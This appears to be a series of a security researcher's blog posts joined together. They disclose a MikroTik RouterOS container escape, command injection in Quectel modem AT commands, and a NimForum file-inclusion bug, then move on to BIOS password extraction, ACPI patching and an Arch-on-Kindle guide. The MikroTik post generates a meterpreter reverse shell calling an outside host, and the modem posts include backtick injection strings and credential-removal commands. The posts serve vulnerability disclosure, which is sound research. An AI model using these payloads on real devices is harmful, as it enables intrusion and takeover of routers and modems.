container - added support for running Docker (TM) containers on ARM, ARM64 and x86

It turns out that due to a couple of implementation flaws, it's possible to execute code on the host device via the container functionality.

Mount points

In the MikroTik documentation, it is shown that it's possible to create mount points between the host and the container. As an example, the etc folder on disk1 is mounted into /etc/pihole in the container:

/container/mounts/add name=etc_pihole src=disk1/etc dst=/etc/pihole

While playing around with this feature, I soon realized that the current implementation has three specific behaviour details which makes the feature rather dangerous.

1. Paths are resolved through symlinks

Let's, for example, take the following directory structure:

disk1/
├── dir1/
│   ├── file1
│   └── file2
└── dir2/ --(symbolic link)--> dir1/

Even though dir2 is a symbolic link to dir1, adding a mount point to disk1/dir2/file1 works, meaning that dir2 is resolved to dir1 before the file is mounted.

2. Symlinks are resolved relative to the host device's root, not the container's root

Let's say my container's root filesystem is stored in disk1/alpine. If I do the following inside the container:

# ln -s / /rootfs

… then inside the container, the directory /rootfs resolves to / as expected. However, if I then use this directory as a mount point source when setting the container up in RouterOS, then the symbolic link is resolved in relation to the device's own filesystem.

As an example, I'll mount the host filesystem inside the container's /mnt directory:

/container/mounts/add name=rootfs src=/disk1/alpine/rootfs dst=/mnt

Then, from inside the created container, I can access the host's root filesystem:

# ls -l /mnt
total 0
drwxr-xr-x    2 nobody   nobody         149 Jun 15 11:38 bin
drwxr-xr-x    9 nobody   nobody         131 Jun 15 11:38 bndl
drwxr-xr-x    2 nobody   nobody           3 Jun 15 11:38 boot
drwxr-xr-x    2 nobody   nobody           3 Jun 15 11:38 dev
lrwxrwxrwx    1 nobody   nobody          11 Jun 15 11:38 dude -> /flash/dude
drwxr-xr-x    2 nobody   nobody         352 Jun 15 11:38 etc
drwxr-xr-x    2 nobody   nobody           3 Jun 15 11:38 flash
drwxr-xr-x    3 nobody   nobody          26 Jun 15 11:38 home
drwxr-xr-x    3 nobody   nobody         403 Jun 15 11:38 lib
drwxr-xr-x    5 nobody   nobody          73 Jun 15 11:38 nova
lrwxrwxrwx    1 nobody   nobody           9 Jun 15 11:38 pckg -> /ram/pckg
drwxr-xr-x    2 nobody   nobody           3 Jun 15 11:38 proc
drwxr-xr-x    2 nobody   nobody           3 Jun 15 11:38 ram
lrwxrwxrwx    1 nobody   nobody           9 Jun 15 11:38 rw -> /flash/rw
drwxr-xr-x    2 nobody   nobody          45 Jun 15 11:38 sbin
drwxr-xr-x    2 nobody   nobody           3 Jun 15 11:38 sys
lrwxrwxrwx    1 nobody   nobody           7 Jun 15 11:38 tmp -> /rw/tmp
drwxr-xr-x    5 nobody   nobody         111 Jun 15 11:38 var

While it's possible to read files, most of the filesystem is read-only, meaning it's not possible to write files. However…

3. Symlinks are resolved for both the src and dst parameters

What this effectively means is that by using this same rootfs symlink in the dst parameter, it is possible to mount any arbitrary directory or file from any location (even from inside the container) to any location on the host filesystem.

As an example, I create a mount point that mounts a robots.txt file from inside the container to the webfig directory, effectively "overwriting" the existing robots.txt:

/container/mounts/add name=robots src=/disk1/alpine/robots.txt dst=/rootfs/home/web/robots.txt

Then, on a third machine, we verify that it was overwritten using curl:

$ curl router.lan/robots.txt
Hello from inside the container!

Exploitation

Mount-what-where is a very powerful primitive. It should be relatively easy to run arbitrary code - just mount over a preexisting executable on the system that gets executed by the device at some point.

However, that won't work, because of how the mount point is created. From /proc/mounts:

/dev/sda1 /nova/bin/telnet ext4 rw,nosuid,nodev,noexec,relatime 0 0

The mount point is created with the nosuid, nodev, and most importantly noexec options. This means that even if you were to mount over an existing binary, it would never get executed, and would instead fail with a "Permission denied" every time. This also extends to shared libraries, so mounting over .so files is also out of the question.

I also didn't spot any obvious config files which would allow running code.

This is where symlinks come to the rescue yet again.

As it turns out, symlinks existing on noexec filesystems but pointing to binaries existing on filesystems without noexec will still be executed:

$ cp $(which id) id1
$ ln -s $(which id) id2
$ ./id1
bash: ./id1: Permission denied
$ ./id2
uid=1000(xx) gid=1000(xx) groups=1000(xx)

This means that we can simply mount a symbolic link over a specific executable that points to the malicious binary we want to run, assuming it is accessible from some mount point that doesn't have the noexec flag set. By looking at /proc/mounts, we can see that the container's own root filesystem is actually not mounted with noexec (which makes sense - you wouldn't be able to run executables inside the container otherwise):

/dev/sda1 /flash/rw/container/aa10a963-9715-4c61-967c-7d9f993410e6/root ext4 rw,nosuid,nodev,relatime 0 0

This is all we need to mount a successful attack. As the malicious binary, I generated a meterpreter/reverse_tcp ELF:

msfvenom -p linux/armle/meterpreter/reverse_tcp LHOST=10.4.0.245 LPORT=1338 -f elf > rev

I copied this inside the container and also created a symlink pointing to its location in the executable mount point:

ln -s /flash/rw/container/aa10a963-9715-4c61-967c-7d9f993410e6/root/rev /revlnk

As the target binary, I decided to use telnet, as it's relatively low-priority and easy to trigger and debug. I then created the mount point in RouterOS:

/container/mounts/add name=telnet src=/disk1/alpine/revlnk dst=/rootfs/nova/bin/telnet

After starting the container, the binary /nova/bin/telnet was mounted over and was instead a symlink to our malicious binary:

/nova/bin/telnet -> /flash/rw/container/aa10a963-9715-4c61-967c-7d9f993410e6/root/rev

As expected, after running /system/telnet 127.0.0.1 on the device, I got a connection in my Meterpreter listener:

msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.4.0.245:1338
[*] Sending stage (908480 bytes) to 10.4.0.1
[*] Meterpreter session 1 opened (10.4.0.245:1338 -> 10.4.0.1:59434) at 2022-06-21 10:24:34 +0300

meterpreter > ls
Listing: /
==========

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040755/rwxr-xr-x  149   dir   2022-06-15 14:38:21 +0300  bin
040755/rwxr-xr-x  131   dir   2022-06-15 14:38:21 +0300  bndl
040755/rwxr-xr-x  3     dir   2022-06-15 14:38:21 +0300  boot
040755/rwxr-xr-x  6140  dir   2022-06-20 21:41:47 +0300  dev
                                                         dude
040755/rwxr-xr-x  352   dir   2022-06-15 14:38:21 +0300  etc
040755/rwxr-xr-x  1024  dir   2022-06-20 21:41:14 +0300  flash
040755/rwxr-xr-x  26    dir   2022-06-15 14:38:21 +0300  home
040755/rwxr-xr-x  403   dir   2022-06-15 14:38:21 +0300  lib
040755/rwxr-xr-x  73    dir   2022-06-15 14:38:21 +0300  nova
040755/rwxr-xr-x  200   dir   1970-01-01 03:00:12 +0300  pckg
040555/r-xr-xr-x  0     dir   1970-01-01 03:00:00 +0300  proc
041777/rwxrwxrwx  400   dir   2022-06-21 08:33:07 +0300  ram
040755/rwxr-xr-x  1024  dir   1970-01-01 03:00:14 +0300  rw
040755/rwxr-xr-x  45    dir   2022-06-15 14:38:21 +0300  sbin
040555/r-xr-xr-x  0     dir   1970-01-01 03:00:12 +0300  sys
040644/rw-r--r--  1024  dir   1970-01-01 03:00:19 +0300  tmp
040755/rwxr-xr-x  111   dir   2022-06-15 14:38:21 +0300  var

This means we can successfully execute arbitrary code on the device.

The issue is fixed in RouterOS versions 7.4beta5, 7.4, 7.5beta1, and higher.

Previous research

I've previously posted about an issue affecting older Quectel modems present in the PinePhone. The issue, which was assigned the CVE ID CVE-2021-31698, is similar to the one described in this article. The article presents some background on how the modem and the mainboard (the "host" machine) communicate - usually, the mainboard sends AT commands over a serial line to the modem, which runs its own black-box operating system entirely independent of the mainboard. These AT commands are parsed by a daemon running on the modem, which then indicates whether the command executed successfully and optionally returns some data.

Analyzing the daemon

In the previously mentioned issue, I described that the AT commands were parsed by a daemon on the modem called atfwd_daemon. While this is still technically somewhat true, a bulk of the core functionality is offloaded to other components or libraries. Some AT commands are executed by the modem's QDSP processor, which is at the time of writing still quite difficult to reverse engineer. The library we're interested in is libql_atcop.so, which is an ARMv8 shared library present on the modem's host OS.

I identified the vulnerable command AT+QFOTADL. In practice, this command is used to point to an OTA download link, for example:

AT+QFOTADL="https://sif.ee/Quectel-OTA.bin"

The modem downloads the OTA, extracts it, verifies whether it's installable, and finally installs it on the modem device.

This command is handled in libql_atcop.so by a procedure named ql_exec_qfotadl_cmd_proc():

This procedure first matches the provided schema and checks to see which protocol is being used (plain HTTP, HTTPS, or FTP):

Code flow is then passed to another procedure, which formats the provided URL into a system command using snprintf() and initiates the download:

Disassembling the binary further revealed that there is no user input sanitization in place and the provided user input is used in the command as-is, which is executed using system() (provided by a wrapper function in another library).

Code execution

From this, we can deduce that arbitrary command execution is possible. We can, for example, enter a valid schema and use backticks to execute our commands in a subshell. As an example, to reboot the modem:

AT+QFOTADL="http://`reboot`"

Due to the fact that the daemon runs as root, the code is also being executed as the root user on the modem.

As an example, in this Asciinema recording, I use the nc binary present to establish a reverse shell (over 5G!) to my server.

It's very possible that this vulnerability affects other Quectel products as well, as firmware is commonly reused, but I do not possess other hardware to test it on. Most probably, it affects all RG50xQ products, if not more. Vendor did not clarify which products this vulnerability affects.

NimForum

NimForum is a project by Nim language developers that demonstrates both the front and back end capabilities of the Nim language. It's a standard forum-like web application for different communities - people can post threads and reply to them.

I was recently playing around with it and testing its capabilities. What caught my eye is that NimForum enables formatting with reStructuredText instead of other commonly used dialects such as Markdown or BBCode. RST is far more powerful than the latter options and exposes various directives which the author of a document can use.

One of these directives is include, which allows including files in the generated output. As the documentation states, this is a dangerous directive and introduces an obvious security hole when left enabled.

Nim's standard library

NimForum uses the rstToHtml procedure from the docutils/rstgen package in the standard library in order to do most of the heavy lifting of converting RST-formatted text to HTML. The procedure's docstring states the following:

The proc is meant to be used in online environments without access to a meaningful filesystem, and therefore rst include like directives won't work.

In addition, the myFindFile procedure is passed to the include directive handler:

proc myFindFile(filename: string): string =
  # we don't find any files in online mode:
  result = ""

All of this leads to believe that include directives flat out won't work. However, this is not the case.

We included ./forum.json and the contents of the forum's configuration file (with secrets) are printed when the /preview endpoint is used. This also works with absolute file paths, such as /etc/passwd. This issue is quite serious and was given the CVE ID CVE-2022-23602. The vulnerability itself affected all NimForum instances, including the one hosted at forum.nim-lang.org.

Hidden functionality

Even if you go through all of RST's documentation and disable all unsafe directives such as include, csv, and so on that allow including local files, it turns out that Nim's rstgen package has extended the code-block directive to also include files using the file field. Even if you were extremely familiar with reStructuredText and all of its unsafe directives, this would probably slip by unnoticed if nobody reviewed code.

Mitigation

If you're using NimForum for your community, you should upgrade to version 2.2.0 ASAP. The security advisory for NimForum can be found here.

The issue in the Nim standard library has been fixed by commit cb894c70, which introduces additional by-default sandboxing. This sandboxing can be disabled with the roSandboxDisabled flag if desirable.

Communication with the PinePhone

Among other channels, the PinePhone communicates with the Quectel modem by sending AT commands to the modem over a serial line - /dev/ttyUSB2 on the PinePhone's side and /dev/ttyHSL0 on the modem's side.

The modem, which runs a full Linux install separate from the PinePhone's main OS, receives these commands, parses them, and executes them according to program logic. After this, the modem either returns OK or ERROR over the serial line back to the PinePhone. The daemon primarily responsible for this is atfwd_daemon.

Analyzing atfwd_daemon

Getting the daemon is easy. It's possible to set up adb access and extract it using adb. It's also possible to simply extract it from the firmware's update packages, as it's not encrypted in any way.

Loading atfwd_daemon in Ghidra reveals that the executable uses system() in 233 different places across the file. That's… quite a lot.

While using system() with user input is never a good idea, most of the calls cannot be exploited due to being hardcoded or the fact that user input is converted to an integer using sprintf():

However, there are a few places where user input is sprintf()-d as %s and no checks or sanitization is performed on user input.

One of these places is in a routine called quectel_handle_fumo_cfg_command():

Here we can see that param1[1] is being formatted as ipth_dme -dmacc %s &, which is then passed to system(). What's interesting to note here is that ipth_dme does not exist on the system at all, so this program would never run.

Traversing the program execution flow, we can see that the switch case in the previous screenshot is triggered when some part of user input begins with "dmacc". This is checked in a routine called quectel_parse_fumo_cfg_cmd_params():

The rest of the input remains relatively untouched.

Going further up the program flow, we can see that the command in question which parses this input is +QFUMOCFG:

Code execution

From this, we can deduce that arbitrary command execution is possible. We can, for example, use backticks to execute our commands in a subshell. As an example, to reboot the modem:

AT+QFUMOCFG="dmacc","`reboot`"

Due to the fact that the daemon runs as root, the code is also being executed as the root user on the modem.

As an example, in this Asciinema recording, I cat /etc/passwd and run id, and return the data to the PinePhone's OS over a serial line:

It's very possible that this vulnerability affects other Quectel products as well, as firmware is commonly reused, but I do not possess other hardware to test it on.

PinePhone's GPS/WWAN/LTE modem

While developing software on the PinePhone, I came across this peculiar message in dmesg:

[   25.476857] modem-power serial1-0: ADB KEY is '41618099' (you can use it to unlock ADB access to the modem)

For context, the PinePhone has a Quectel EG25-G modem, which handles GPS and wireless connectivity for the PinePhone. This piece of hardware is one of the few components on the phone which is closed-source.

When I saw that message and the mention of ADB, I immediately thought of Android Debug Bridge, the software commonly used to communicate with Android devices. "Surely," I thought, "it can't be talking about that ADB". Well, turns out it is.

The message links to an article which details the modem in question. It also links to an unlocker utility which, when used, prints out AT commands to enable adbd on the modem.

$ ./qadbkey-unlock 41618099
AT+QADBKEY="WUkkFzFSXLsuRM8t"
AT+QCFG="usbcfg",0x2C7C,0x125,1,1,1,1,1,1,0

These can be sent to the modem using screen:

# screen /dev/ttyUSB2 115200 

For whatever reason, my input wasn't being echoed back, but the screen session printed out "OK" twice, indicating it had executed the commands fine.

After setting up proper udev rules and adb on my "host machine", which is the PinePhone, the modem popped up in the output for adb devices, and I could drop into a shell:

$ adb devices
List of devices attached
(no serial number)	device

$ adb shell
/ #

Because adbd was running in root mode, I dropped into a root shell. Neat.

It turns out the modem runs its own OS totally separate from the rest of the PinePhone OS. With the latest updates, it runs Linux 3.18.44.

Running a webserver

For whatever reason, I thought it'd be fun to run my blog on this thing. Since we were working with limited resources (around 48M of space and the same amount of memory), and the fact that my blog is just a bunch of static files, I decided that something like nginx (as lightweight as it is) would be a bit overkill for my purposes.

darkhttpd seemed to fit the bill well. Single binary, no external dependencies, does GET and HEAD requests only. Perfect.

I used the armv7l-linux-musleabihf-cross toolchain to cross compile it for ARMv7 and statically link it against musl. adb push let me easily push the binary and my site assets to the modem's /usrdata directory, which seems to have a writable partition about 50M big mounted on it.

The HTTP server works great. I decided to use ADB to expose the HTTP port to my PinePhone:

$ adb forward tcp:8080 tcp:80

As ADB-forwarded ports are only bound to the loopback interface, I also manually exposed it to external connections:

# sysctl -w net.ipv4.conf.all.route_localnet=1
# iptables -t nat -I PREROUTING -p tcp --dport 8080 -j DNAT --to-destination 127.0.0.1:8080

I could now access my blog on http://pine:8080/. Cool!

Throughput?

I ran iperf over ADB port forwarding just to see what kind of throughput I get.

$ iperf -c localhost
------------------------------------------------------------
Client connecting to localhost, TCP port 5001
TCP window size: 2.50 MByte (default)
------------------------------------------------------------
[  3] local 127.0.0.1 port 44230 connected with 127.0.0.1 port 5001
[ ID] Interval       Transfer     Bandwidth
[  3]  0.0-10.6 sec  14.4 MBytes  11.4 Mbits/sec

So around 10Mb/s. Not great, not terrible.

The PinePhone itself is connected to the network over USB (side note: I had to remove two components from the board to get USB networking to work). Out of interest, I ran iperf over that connection as well:

$ iperf -c 10.15.19.82
------------------------------------------------------------
Client connecting to 10.15.19.82, TCP port 5001
TCP window size:  136 KByte (default)
------------------------------------------------------------
[  3] local 10.15.19.100 port 58672 connected with 10.15.19.82 port 5001
[ ID] Interval       Transfer     Bandwidth
[  3]  0.0-10.4 sec  25.8 MBytes  20.7 Mbits/sec

Although I was expecting more, it doesn't really matter, as I was bottlenecking at the ADB-forwarded connection.

Further thoughts

I wonder how secure the modem is. It turns out a lot of AT commands use system() on the modem. I suspect some of those AT commands may be vulnerable to command injection, but I haven't looked into this further. It also doesn't really matter when dropping into a root shell using ADB is this easy.

At first glance, this seems like a perfect method to obtain persistence for malware. With root access on the host system, malware could implant itself into the modem, which would enable it to survive reinstalls of the host OS, and snoop on communications or track the device's location. Some of the impact is alleviated by the fact that all interaction with the host OS happens over USB and I2S and only if the host OS initiates it, so malware in the modem couldn't directly interact with the host OS.

As it turns out, both the user and the system ("supervisor") passwords are not hashed in any way and stored as plaintext inside EFI variables. Viewing these EFI variables is incredibly easy on a Linux system where efivarfs is enabled, even under a regular user account and if secure boot is enabled:

$ uname -a
Linux book 5.10.7.a-1-hardened #1 SMP PREEMPT Tue, 12 Jan 2021 20:46:33 +0000 x86_64 GNU/Linux
$ whoami
xx
$ sudo dmesg | grep "Secure boot"
[    0.010717] Secure boot enabled

Reading the variables:

$ hexdump -C /sys/firmware/efi/efivars/SystemSupervisorPw*
00000000  07 00 00 00 0a 70 61 73 73 77 6f 72 64 31 32 20  |.....password12 |

$ hexdump -C /sys/firmware/efi/efivars/SystemUserPw*
00000000  07 00 00 00 0a 70 61 73 73 77 6f 72 64 31 31 21  |.....password11!|

If you have a root shell, removing the passwords entirely is also possible:

# chattr -i /sys/firmware/efi/efivars/SystemUserPw* /sys/firmware/efi/efivars/SystemSupervisorPw*

# rm /sys/firmware/efi/efivars/SystemUserPw* /sys/firmware/efi/efivars/SystemSupervisorPw*

Reboot, and the BIOS no longer asks for a password to enter setup, change secure boot settings, etc.

Deep sleep?

To clear some confusion about what I mean by deep sleep, I need to explain a bit of how hibernation/suspending works.

There are a number of sleep states on modern machines.

The most basic of these is referred to as S0. It's implemented purely in software (i.e. the kernel), and doesn't do a very good job at preserving battery. While userland processes are suspended, the machine (and the CPU) is still running and using power. As S0 doesn't rely on hardware compatibility, it's enabled on all devices. Using this mode, my RedmiBook's battery drained to 0% overnight.

S1, also known as "shallow" sleep, is similar to S0 but enables some additional power saving features such as suspending power to nonboot CPUs. This mode still doesn't provide significant power saving, however.

S3 ("suspend-to-RAM") saves the system's state to memory and powers off everything but the memory itself. On boot, this state is restored and the system can resume from suspension. This mode is the one known as "deep sleep" and can provide acceptable levels of power saving. Overnight, this drains only about 3-5% battery on my laptop, which is perfectly fine for my needs.

S4 is known as "suspend-to-disk" and works a lot like S3, but instead, as you can probably tell by the name, saves the state to disk. This means you can remove power from the device completely and resuming from suspension would still work as the state is not stored in volatile memory.

ACPI

Modes S1 - S4 require hardware compatibility. This compatibility is usually advertised to the operating system's kernel using ACPI definitions. The kernel uses this information to know what suspension methods to provide to the user.

On some systems (such as the RedmiBook), the ACPI definitions declare no or only conditional support for some (or all) modes.

You can see what sleep states your machine supports by looking into /sys/power/mem_sleep. On my machine, only S0 ("s2idle") was supported:

$ cat /sys/power/mem_sleep
[s2idle]

Annoying. I knew deep sleep works on Windows, so it's not a case of missing hardware support. I suspected misconfigured ACPI tables to be at fault here.

Patching ACPI

Luckily, Linux supports loading "patched" ACPI tables during the boot process. It is possible to grab the currently used tables, decompile them, patch out the parts which block S3 from being supported, recompile, and embed the patched table into a cpio archive.

The specific ACPI component we're interested in is the DSDT table. We can dump this somewhere safe:

# cat /sys/firmware/acpi/tables/DSDT > dsdt.aml

We'll use iasl from the ACPICA software set to decompile the dumped table:

$ iasl -d dsdt.aml

If you get warnings about unresolved references to external control methods, it might be worth decompiling again, but this time including the SSDT tables. See this post at encryp.ch for more info.

You'll end up with a human-readable dsdt.dsl file. You'll want to peek into this and search for "S3 System State" to find what you're looking for. In my case, it was nested into two flag checks, which I simply deleted, so as to advertise S3 support even if the flag checks failed:

@@ -18,7 +18,7 @@
  *     Compiler ID      "    "
  *     Compiler Version 0x01000013 (16777235)
  */
-DefinitionBlock ("", "DSDT", 1, "XMCC  ", "XMCC1953", 0x00000002)
+DefinitionBlock ("", "DSDT", 1, "XMCC  ", "XMCC1953", 0x00000003)
 {
     /*
      * iASL Warning: There were 9 external control methods found during
@@ -769,19 +769,13 @@ DefinitionBlock ("", "DSDT", 1, "XMCC  ", "XMCC1953", 0x00000002)
         Zero,
         Zero
     })
-    If ((CNSB == Zero))
-    {
-        If ((DAS3 == One))
-        {
-            Name (_S3, Package (0x04)  // _S3_: S3 System State
-            {
-                0x03,
-                0x03,
-                Zero,
-                Zero
-            })
-        }
-    }
+    Name (_S3, Package (0x04)  // _S3_: S3 System State
+    {
+        0x03,
+        0x03,
+        Zero,
+        Zero
+    })

     Name (_S4, Package (0x04)  // _S4_: S4 System State
     {

You'll also want to increment the version number by one (as shown above) as the patched table wouldn't be loaded otherwise.

Once this is done, we can recompile it, again using iasl:

$ iasl dsdt.dsl

If this refuses to compile due to the compiler thinking Zero is not a valid type, check out the post at encryp.ch, where they shed some light on this.

Compiling using iasl overwrites the old .aml file. We'll need to create the proper directory tree in order to archive it in a manner which the kernel accepts:

$ mkdir -p kernel/firmware/acpi

Copy the patched table into place and create the archive using the cpio tool:

$ cp dsdt.aml kernel/firmware/acpi/.
$ find kernel | cpio -H newc --create > dsdt_patch

Copy the newly created archive into your boot directory:

# cp dsdt_patch /boot/.

You'll need to figure out how to get your bootloader to load this archive on boot. As I use systemd-boot, I modified my default entry and added the following initrd line before initramfs is loaded:

$ grep initrd /boot/loader/entries/arch.conf
initrd	/amd-ucode.img
initrd  /dsdt_patch
initrd	/initramfs-linux.img

For grub users, you'll need to edit the /boot/grub/grub.cfg file and add the same line.

I also recommend adding the following kernel parameter, as that makes sure that S3 is used by default instead of S0:

mem_sleep_default=deep

After rebooting, peek into /sys/power/mem_sleep once again to make sure deep is supported and enabled as the current mode:

$ cat /sys/power/mem_sleep
s2idle [deep]

It's also a good idea to check whether the system properly suspends and resumes. In my case, there have been no issues and I get excellent battery life during sleep.

Some readers have tested this method and reported that this method also works for the RedmiBook 14 and the Ryzen edition of the Xiaomi Notebook Pro 15, which have similar hardware.

I wrote this application for a couple of reasons:

• Ease of access

Previously, it was a bit of a pain to do any sort of communication with IOPSYS. The connection works over a custom WebSockets protocol, which means it's quite hard to talk to these devices. After picking IOPSYS as my attack target, I soon realised I'd be spending most of my time crafting JSON payloads to send to the device which is just cumbersome. iopshell provides a couple of features to remedy this: payloads no longer have to be fully JSON-encoded (but they still can be!) and use a custom syntax instead, which will be interpreted by the shell and transformed into proper JSON automagically. This means that instead of writing {"id":2,"jsonrpc":"2.0","method":"call","params":["9fe82306dae3c5d3c5d36d9ace11d300","file","stat",{"path":"/etc/passwd"}]} just to read a file, I can simply authenticate once and do call file stat path:/etc/passwd, which is a lot more sane and readable. Furthermore, after calling list, the shell populates its autocompletion feature, so I don't have to compare against a JSON list just to see whether I can call a function or not, or what parameters it expects - I can just press tab!

• Scripting

If you've seen any of my previous exploits, you'll know they're all written in Python. Roughly half of the exploits' code is there just to establish a connection to the device, authenticate, be able to call functions, etc. By abstracting these common requirements to a shell-like application which accepts scripts as input, I can write exploits very fast, as I no longer have to worry whether I have established a connection, authenticated correctly, and so on. Unfortunately so far, I've not yet extended the scripting capabilities of iopshell, so the scripts work on quite a basic, "interpret everything line-by-line" basis. More commonly than not, this is good enough.

• Learn how IOPSYS internals work

While IOPSYS is based on OpenWRT/LEDE and shares much of its internals, Inteno has changed certain aspects of the backend. Namely, while OpenWRT uses ubus to get the front-end admin panel to communicate with the backend, this is usually done through simple HTTP POST requests to an API endpoint, usually located at /ubus. Inteno has scrapped this system - instead, they use their own custom owsd webserver, which communicates asynchronously with ubus via a WebSockets connection. Besides the obvious speed advantages, it also enables the existence of sleek JavaScript-powered front-end admin panels such as JUCI. Writing iopshell has granted me insight into how exactly this design works as a coherent system.

• Learn Go

I'll be honest - the code is a mess. I used iopshell as my introduction into the Go language, writing it as my first project. While I have enjoyed writing Go, looking over the code now makes me slightly cringe and would cause frustration or perhaps even slight rage to any seasoned Go developer. While I consider the thing to be usable, I'm still planning on going over the codebase and refactoring most of what I can sometime soon. Of course, if you want to help, contributions are very welcome.

Feel free to check out and grab the project from its git.dog page. The readme has instructions on setting it up, details on different commands and even how to write your own commands. Unfortunately, the Go toolchain is currently needed to compile the project, but I'm planning on distributing precompiled binaries soon after I've ironed out some more bugs.

You can see the end result in action here. Apologies for the shaky video - it was shot using my phone and no tripod.

If you're wanting to follow along, make sure you've rooted your Kindle beforehand. This is essential – without it, it's impossible to run custom scripts or binaries.

I'm testing this on an 8th generation Kindle (KT3) – it should, however, work for all recent Kindles given you've enough storage and are rooted. You also need to set up USBnetwork for SSH access and optionally KUAL if you want a simple way of launching the chroot.

First things first: We need to set up a filesystem and extract an Arch installation into it, which we can later chroot into. The filesystem will be a file which will be mounted as a loop device. The reason why we're not extracting the Arch installation directly into a directory on the Kindle is because the Kindle's storage filesystem is FAT32. FAT32 doesn't support required features such as symbolic links, which would break the Arch installation. Please note that this also means that your chroot filesystem can be 4 gigabytes large, at maximum. This can be worked around by mounting the real root inside the chroot filesystem, which it's still a hacky way to go about it. But I digress.

First, figure out how large your filesystem actually can be. SSH into your Kindle and see how much free space you have:

$ ssh root@192.168.15.244

kindle# df -k /mnt/base-us
Filesystem   1K-blocks  Used    Available  Use%  Mounted on
/dev/loop/0  3188640    361856  2826784    11%   /mnt/base-us

Seems like we have around 2800000K (around 2.8G) of space available. Let's make our filesystem 2.6G – it's enough to host our root filesystem and some extra applications, such as LXDE. Note that I'll be running the following commands on my PC and transferring the filesystem over later. You can also do all of this on the Kindle, but it's simply easier and faster this way.

Let's create a blank file of the wanted size. I'm using dd, but you can also use fallocate for this:

$ dd if=/dev/zero of=arch.img bs=1024 count=2600000
2600000+0 records in
2600000+0 records out
2662400000 bytes (2.7 GB, 2.5 GiB) copied, 6.92058 s, 385 MB/s

Let's create our filesystem on it. Since we're doing this on the PC, we need make it 32bit and disable the metadata_csum and huge_file options on the filesystem, as the Kindle's ext4 kernel doesn't support them.

$ mkfs.ext4 -O ^64bit,^metadata_csum,^huge_file arch.img
mke2fs 1.45.0 (6-Mar-2019)
Discarding device blocks: done                            
Creating filesystem with 650000 4k blocks and 162560 inodes
Filesystem UUID: a4e72620-368a-44b4-81bb-9e66b2903523
Superblock backups stored on blocks: 
	32768, 98304, 163840, 229376, 294912

Allocating group tables: done                            
Writing inode tables: done                            
Creating journal (16384 blocks): done
Writing superblocks and filesystem accounting information: done 

This is optional, but I'll also disable periodic filesystem checks on it:

$ tune2fs -c 0 -i 0 arch.img                               
tune2fs 1.45.0 (6-Mar-2019)         
Setting maximal mount count to -1
Setting interval between checks to 0 seconds

Next it's time to mount the filesystem:

$ mkdir rootfs
$ sudo mount -o loop arch.img rootfs/

The Kindle I'm using has a Cortex-A9-based processor, so let's download the ARMv7 version of Arch Linux ARM from here. You can download it and extract then, or simply download and extract at the same time:

$ curl -L http://os.archlinuxarm.org/os/ArchLinuxARM-armv7-latest.tar.gz | sudo tar xz -C rootfs/

sudo is required to extract as it sets up a lot of files with root permissions. You can ignore the errors about SCHILY.fflags. Verify that the files extracted successfully with ls -l rootfs/.

Let's prepare our Kindle for the filesystem. I opted for hosting the filesystem in extensions/karch as I want to use KUAL for easy launching:

$ ssh root@192.168.15.244

kindle# mkdir -p /mnt/base-us/extensions/karch

While we're here, it's also a good idea to stop the power daemon to prevent the Kindle from going into sleep mode while transferring the filesystem and interrupting our transfer:

kindle# stop powerd
powerd stop/waiting

Let's transfer our filesystem:

kindle# exit
Connection to 192.168.15.244 closed.

$ scp arch.img root@192.168.15.244:/mnt/base-us/extensions/karch/

This might take quite a bit of time, depending on your connection.

Once it's done, let's SSH in once again and set up our mountpoint:

$ ssh root@192.168.15.244

kindle# cd /mnt/base-us/extensions/karch/
kindle# mkdir system

I decided to set up my own loop device, so I can have it named, but you can ignore this and opt to use /dev/loop/12 or similar instead. Just make sure it's already not in use with mount.

Setting up a loop point and mounting the filesystem:

kindle# mknod -m0660 /dev/loop/karch b 7 250
kindle# mount -o loop=/dev/loop/karch -t ext4 arch.img system/

We should also mount some system directories into it:

kindle# mount -o bind /dev system/dev
kindle# mount -o bind /dev/pts system/dev/pts
kindle# mount -o bind /proc system/proc
kindle# mount -o bind /sys system/sys
kindle# mount -o bind /tmp system/tmp
kindle# cp /etc/hosts system/etc/

It's time to chroot into our new system and set it up for LXDE. You can also use this opportunity to set up whatever applications you need, such as an onscreen keyboard:

kindle# chroot system/ /bin/bash
chroot# echo 'en_US.UTF-8 UTF-8' > /etc/locale.gen 
chroot# locale-gen
chroot# rm /etc/resolv.conf 
chroot# echo 'nameserver 8.8.8.8' > /etc/resolv.conf
chroot# pacman-key --init # this will take a while
chroot# pacman-key --populate
chroot# pacman -Syu --noconfirm
chroot# pacman -S lxde xorg-server-xephyr --noconfirm

We use Xephyr because it's the easiest way to get our LXDE session up and running. Since the Kindle uses X11 natively, we can try using that. It's possible to stop the native window manager using stop lab126_gui outside the chroot, but then the Kindle will stop updating the screen with new data, leaving it blank – forcing you to use something like eips to refresh the screen. The X server still works, however, and you can confirm this by using something like x11vnc after running your own WM in it. Xephyr spawns a new X server inside the preexisting X server, which is not as efficient but a lot easier.

We can however stop everything else related to the native GUI, as we need the extra memory and we can't use it while LXDE is running anyways:

chroot# exit
kindle# SERVICES="framework pillow webreader kb contentpackd"
kindle# for service in ${SERVICES}; do stop ${service}; done

While we're here, we need to get the screen size for later:

kindle# eips -i | grep 'xres:' | awk '{print $2"x"$4}'
600x800

Let's chroot back into the system and see if we can get LXDE to run. Be sure to replace the screen size parameter if needed:

kindle# chroot system/ /bin/bash
chroot# export DISPLAY=:0
chroot# Xephyr :1 -title "L:A_N:application_ID:xephyr" -screen 600x800 -cc 4 -nocursor &
chroot# export DISPLAY=:1
chroot# lxsession &
chroot# xrandr -o right

If everything goes well, you should have LXDE visible on your Kindle's screen. Ta-da! Feel free to play around with it. I've found that the touch screen is suprisingly accurate, even though it is using an IR LED system to detect touches instead of a normal digitizer.

Once done in the chroot, Ctrl-C + Ctrl-D can be issued to exit the chroot. We can then restore the Kindle UI by doing:

kindle# for service in ${SERVICES}; do start ${service}; done

It might take a while for anything to display again.

I've mentioned setting up a KUAL extension to automate the entering and exiting of the chroot. You can find that here. If you're interested in using this, make sure you've set up your filesystem first and copied it over to the same directory as the extension, and that it's named arch.img. Everything else is not mandatory - the extension will do it for you.

I figured it would be fun trying to run Arch on such an unconventional device. I ran into 3 issues which I will be discussing, and the workarounds for them.

I've already "hacked" my router and have direct root access to the system, so I won't be discussing that in this post. If you're interested, check out any of my older posts with a CVE label for more information, or if you're brave and want to compile and flash custom firmware on your Inteno router, check out this post.

